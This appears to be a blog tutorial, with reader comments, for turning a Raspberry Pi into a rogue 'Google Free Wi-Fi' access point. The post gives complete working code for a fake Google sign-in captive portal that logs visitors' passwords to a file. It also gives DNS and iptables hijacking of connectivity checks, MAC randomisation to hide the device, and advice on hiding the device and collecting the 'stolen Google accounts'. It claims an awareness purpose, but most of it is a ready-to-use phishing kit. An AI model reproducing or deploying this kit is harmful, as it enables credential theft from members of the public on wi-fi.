My intent is to demonstrate how easy it is to create a malicious access point so that wi-fi users will be aware of the danger, consider how to detect and avoid falling victim to such an attack, and hopefully take proactive steps to avoid being taken advantage of.
TL;DR
On a fresh install of Raspbian Jessie Lite, clone github.com/braindead-sec/rogue-captive and run install.sh, then reboot. The Pi needs only a power supply and a wireless adapter on wlan0; internet connection is not required.Components
To complete this build, you will need the following:- Raspberry Pi Zero W - though any model Pi will work as long as it has a wireless adapter (built in or connected via USB)
- Micro SD card - 2GB minimum for Raspbian Jessie Lite
- HDMI cable and HDMI-compatible monitor or TV
- USB OTG cable and 2A AC adapter for power
- Keyboard and micro USB adapter or powered USB hub
- Wireless internet connection
- Computer to download Raspbian and install it onto the SD card
Preparation
First, we need to get the Pi up and running. Begin by downloading the latest image of Raspbian Jessie Lite from https://www.raspberrypi.org/downloads/raspbian/I also recommend that you download and install Etcher from https://etcher.io. You could use the command-line utility 'dd' on Mac or Linux instead, but Etcher makes the process incredibly simple and has the added bonus of preventing you from accidentally overwriting your primary hard drive.
Insert the SD card in your computer and use Etcher to copy the Raspbian image to the SD card (it will overwrite any data currently on the card).
Once the image finishes copying, eject the SD card from the computer, plug it into the Pi, connect a keyboard and monitor, and plug in the AC adapter to boot to the standard login prompt. Log in use the default credentials: username pi and password raspberry.
In order to configure the device, we need an internet connection. Type this command to edit the wireless configuration:
sudo nano /etc/wpa_supplicant/wpa_supplicant.confAdd the following lines, substituting the name of your local access point and its corresponding password:
network={Type Ctrl-X, then 'y', then Enter to save and exit. Back at the command line, enter the following command to load the new network configuration:
ssid="WiFi Network"
psk="password"
}
sudo service networking restartYou can verify that you're connected to the internet by entering this command:
iwconfigOn the left you should see an entry for wlan0, and next to that you should see the name of your wireless access point. If you don't see it, then you're not connected - check your wireless configuration from above and/or restart the Pi (sudo reboot). If that still doesn't work, edit the network interfaces file:
sudo nano /etc/network/interfacesMake sure it includes the following lines:
auto wlan0Add any lines that are missing, save, and reboot. Now you should be connected to the internet.
allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
Next, we need to install system updates. Enter the following command:
sudo apt-get update && sudo apt-get dist-upgrade -y
When that finishes, restart the Pi:
sudo reboot
Congratulations, you now have a fully up-to-date, functional Pi! On to the fun part...
Installation & Configuration
The quick way
To install and configure all the necessary software to run the rogue access point, all you need to do is install git, download some code from my GitHub page, and run the installer. Here are the commands to do so:
sudo apt-get install gitDuring the installation process, macchanger will ask whether or not it should automatically choose a random MAC address each time an interface is brought up. Choose "No" - another configuration file we install will handle MAC randomization more reliably.
git clone https://github.com/braindead-sec/rogue-captive
cd rogue-captive
chmod +x install.sh
sudo ./install.sh
sudo reboot
After rebooting, it is probably a good idea to remove the wireless configuration from /etc/wpa_supplicant/wpa_supplicant.conf - you won't need it anymore, and you may not want config files on the Pi pointing to your home network.
If you check with another device, you should now see a wireless access point named "Google Free Wi-Fi" being broadcast by the Pi. Connecting to it will automatically load a captive portal designed to look like the Google login page. Anyone who attempts to log in will find their credentials rejected (and they won't be able to get an internet connection), but the Pi logs the credentials to a file. If you're plugged into a keyboard and monitor, you can monitor the log in real time with this command:
tail -n 0 -f /var/www/html/creds.txtThe beauty of this device is that it doesn't need anything but power in order to do its job. You can plug the Pi into a battery pack, hide it in a box in the corner of a room, and leave it until the battery runs out. Come back to collect the device, pop the SD card into a computer, and dump the contents of creds.txt - with any luck, you'll be the proud owner of a bunch of stolen Google accounts (*not recommended or condoned).
The manual way
To understand how the rogue captive portal works, let's take a look under the hood. Here's how you install and configure the software manually.First, install the required packages:
sudo apt-get install macchanger hostapd dnsmasq apache2 php5As mentioned above, tell macchanger "No" when it prompts you to automatically randomize MAC addresses.
The next step is to build the fake Google login page. My approach uses the following parts:
- index page (HTML & PHP)
- stylesheet (CSS)
- Roboto Google font (downloaded from fonts.google.com)
- Google logo and background image (copied from accounts.google.com)
- .htaccess to redirect file requests
- creds.txt (an empty text file)
<?php $err = ""; if (!empty($_POST)) { $user = $_POST['username']; $pass = $_POST['password']; file_put_contents('creds.txt',"$user $pass\n",FILE_APPEND); $err = "Incorrect username/password. Try again."; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=394"> <title>Sign In - Google Free Wi-Fi</title> <link rel="stylesheet" type="text/css" href="styles.css"> </head> <body> <form novalidate action="index.php" method="post"> <img src="google_logo.gif" alt=""> <h1>Sign in</h1> <h2>with your Google Account</h2> <input id="user" type="text" name="username" placeholder="Enter your email"> <input type="password" name="password" placeholder="Enter your password"> <p class="warning"><?php echo !empty($err)?$err:" ";?></p> <p><a href="">More options</a><span class="text-right"><button type="Submit">NEXT</button></span></p> </form> <footer> English (United States) <img src="caret.gif" alt=""> <span class="text-right">Help Privacy Terms</span> </footer> <script>document.onload = function() { document.getElementById("user").focus();};</script> </body> </html>The PHP code at the beginning receives POST input from the login form, writes it to a file named creds.txt, and outputs an error message. The javascript at the end simply highlights the username field when the page finishes loading.
We also need a stylesheet, of course, to give the page an appropriate look & feel. Here are the contents of styles.css:
@font-face { font-family: 'Roboto'; src: local('Roboto Regular'), local('Roboto-Regular'), url('Roboto-Regular.ttf'), format('truetype'); } * { margin: 0; padding: 0; } body { background: #fff; color: #000; font-family: "Arial", sans-serif; font-size: 14px; font-weight: 300; text-align: center; padding: 60px 40px; height: 100%; } form { display: block; min-height: 380px; width: 100%; margin: 0 auto 25px auto; text-align: left; } img { zoom: 50% } h1 { font-family: "Roboto", "Arial", sans-serif; font-size: 25px; font-weight: 400; margin-top: 15px; margin-bottom: 5px; } h2 { font-family: "Roboto", "Arial", sans-serif; font-size: 14px; font-weight: 400; margin-bottom: 70px; } p { font-family: "Roboto", "Arial", sans-serif; font-size: 13px; font-weight: 300; margin-top: 70px; } input { display: block; width: 100%; font-size: 14px; font-weight: 300; padding: 3px 0; margin-top: 30px; background: #fff; border: none; border-bottom: 1px solid #d9d9d9; color: #000; } input:focus, select:focus, textarea:focus, button:focus { outline: none; } .warning { color: #e50000; font-size: 12px; text-align: left; margin-top: 10px; } a, a:hover { color: #4d90fe; text-decoration: none; } button { font-size: 13px; font-weight: 400; border: none; border-radius: 3px; color: #fff; background-color: #4d90fe; box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 3px 0px; padding: 10px 23px; margin-top: -14px; cursor: pointer; } footer { width: 100%; margin: 60px auto; text-align: left; font-size: 12px; font-weight: 300; } footer span { color: #7e7e7e } .text-right { float: right } @media (min-width: 550px) { body { background: url("google_background.jpg") top left; } form { width: 370px; background: #fff; padding: 60px 40px; border-radius: 2px; box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 3px 0px; } footer { width: 450px; margin-top: 25px; } }Next, we need to configure some special instructions for the Apache web server using a file named .htaccess. When you first connect a device to wi-fi, it immediately sends out a request to check and see if it has internet access. In most cases, it is looking for a very specific response, and if it gets that response, then it determines that the connection is good and it doesn't interfere. If, however, it gets a standard HTTP 200 response with content it wasn't expecting, the device will assume there is a captive portal and display that content automatically. The trick here is to know which files the different devices will ask for so we can redirect them to our login page. Here are all the ones I've found so far (including one that relies on the user agent string):
Redirect /library/test/success.html http://10.1.1.1/index.phpTo ensure Apache will follow these rules, we need to configure it appropriately. In Raspbian, this means we need to add a directory rule to allow htaccess overrides, and we also need to enable the rewrite module (the alias module is already enabled by default). First, create the file /etc/apache2/conf-available/override.conf with the following contents:
Redirect /hotspot-detect.html http://10.1.1.1/index.php
Redirect /ncsi.txt http://10.1.1.1/index.php
Redirect /connecttest.txt http://10.1.1.1/index.php
Redirect /fwlink/ http://10.1.1.1/index.php
Redirect /generate_204 http://10.1.1.1/index.php
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
RewriteRule ^(.*)$ http://10.1.1.1/index.php [L,R=301]
<Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride All Order Allow,Deny Allow from all </Directory>Then run the following commands to enable the override configuration file and the rewrite module:
cd /etc/apache2/conf-enabledNow we're in good shape! Drop all these files into /var/www/html so Apache will serve them up, and use these commands to assign the correct ownership:
ln -s ../conf-available/override.conf override.conf
cd /etc/apache2/mods-enabled
ln -s ../mods-available/rewrite.load rewrite.load
sudo chown -R www-data:www-data /var/www/htmlNext, we configure HostAPD to create a wireless access point. Open its config file for editing:
sudo chown root:www-data /var/www/html/.htaccess
sudo nano /etc/hostapd/hostapd.conf
The following lines tell HostAPD to create an access point on the interface wlan0, broadcasting on radio channel 6 and using wireless mode G. The name of the access point should be "Google Free Wi-Fi", and it should forward its traffic to a bridge interface named br0. It shouldn't require any authentication, and WMM should be disabled.
interface=wlan0
channel=6
hw_mode=g
ssid=Google Free Wi-Fi
bridge=br0
auth_algs=1
wmm_enabled=0
Next we configure DNSmasq to handle DNS resolution and DHCP for our access point:
sudo nano /etc/dnsmasq.conf
The first couple of lines below tell DNSmasq to listen for traffic on the bridge interface br0 and IP address 10.1.1.1 (which will be the Pi's own address). The DHCP lines allow the Pi to hand out IP addresses to any devices that connect to its access point, and in turn they will treat the Pi as their authoritative gateway to the internet. The "address" lines redirect DNS traffic from several key domains to the Pi's IP address. The first thing a client device does when it connects to wi-fi is try to load a particular domain - this is how it determines whether it has internet access or needs to load a captive portal first. The domain varies depending on the device, so we try to include as many as possible.
Almost done now! Next, we write a startup script for the Pi and put it in /etc/rc.local:
interface=br0
listen-address=10.1.1.1
no-hosts
dhcp-range=10.1.1.2,10.1.1.254,72h
dhcp-option=option:router,10.1.1.1
dhcp-authoritative
address=/apple.com/10.1.1.1
address=/appleiphonecell.com/10.1.1.1
address=/airport.us/10.1.1.1
address=/akamaiedge.net/10.1.1.1
address=/akamaitechnologies.com/10.1.1.1
address=/microsoft.com/10.1.1.1
address=/msftncsi.com/10.1.1.1
address=/msftconnecttest.com/10.1.1.1
address=/google.com/10.1.1.1
address=/gstatic.com/10.1.1.1
address=/googleapis.com/10.1.1.1
address=/android.com/10.1.1.1
Almost done now! Next, we write a startup script for the Pi and put it in /etc/rc.local:
#!/bin/bash
service apache2 start
sleep 1
ifconfig wlan0 down
macchanger -A wlan0
ifconfig wlan0 up
sleep 1
hostapd -B /etc/hostapd/hostapd.conf
sleep 2
ifconfig br0 up
ifconfig br0 10.1.1.1 netmask 255.255.255.0
sysctl net.ipv4.ip_forward=1
iptables --flush
iptables -t nat --flush
iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:80
iptables -t nat -A POSTROUTING -j MASQUERADE
service dnsmasq start
exit 0
This script does the following:
- starts the Apache web server
- assigns the wireless adapter a random MAC address to obscure its identity
- starts the HostAPD wireless access point
- enables the bridge interface
- assigns the Pi to IP address 10.1.1.1 on the bridge interface
- enables IP forwarding
- configures several iptables rules to forward incoming DNS and HTTP traffic to the bridge interface
- starts the DNSmasq DHCP/DNS server
Don't forget to delete the local network settings from /etc/wpa_supplicant/wpa_supplicant.conf, then you can restart the Pi:
sudo reboot
Voila! When the Pi finishes starting up, check another device and you should see "Google Free Wi-Fi" accepting wireless connections.
Complete code for this project is available at https://github.com/braindead-sec/rogue-captive.
i got these error...
ReplyDeleteany suggestions?
hostapd.conf failed to create interface wlan0:-95 operation not suported
Are you using a Pi Zero W or a different Pi model? What do you get when you run the 'iwconfig' command?
ReplyDeleteI used i PI zero W with jessie lite
ReplyDeletei tried several times, first i did not used a keyboard but used putty to set up a SSH..
today i started all over again.. with a fresh SD card.
after reboot i see the message :
failed to create interface mon.wlan0:-95 (operation not suported)
wlan0: could not connect to kernel driver
iwconfig:
br0 no wireless extensions
wlan0 IEE 802.11 Mode:Master Tx-Power=31 dbm
retry short limit:7 RTS thr:off Fragment thr:off
Power management: on
lo no wireless extension
I can see the wifi hotspot on my phone, but dont see a portal, als in my chrome browser no portal...
Thanks for you help!
Based on that error, it seems likely that something is using the wifi interface and thus preventing hostapd from using it. Did you remove your wifi connection settings from wpa_supplicant.conf?
ReplyDelete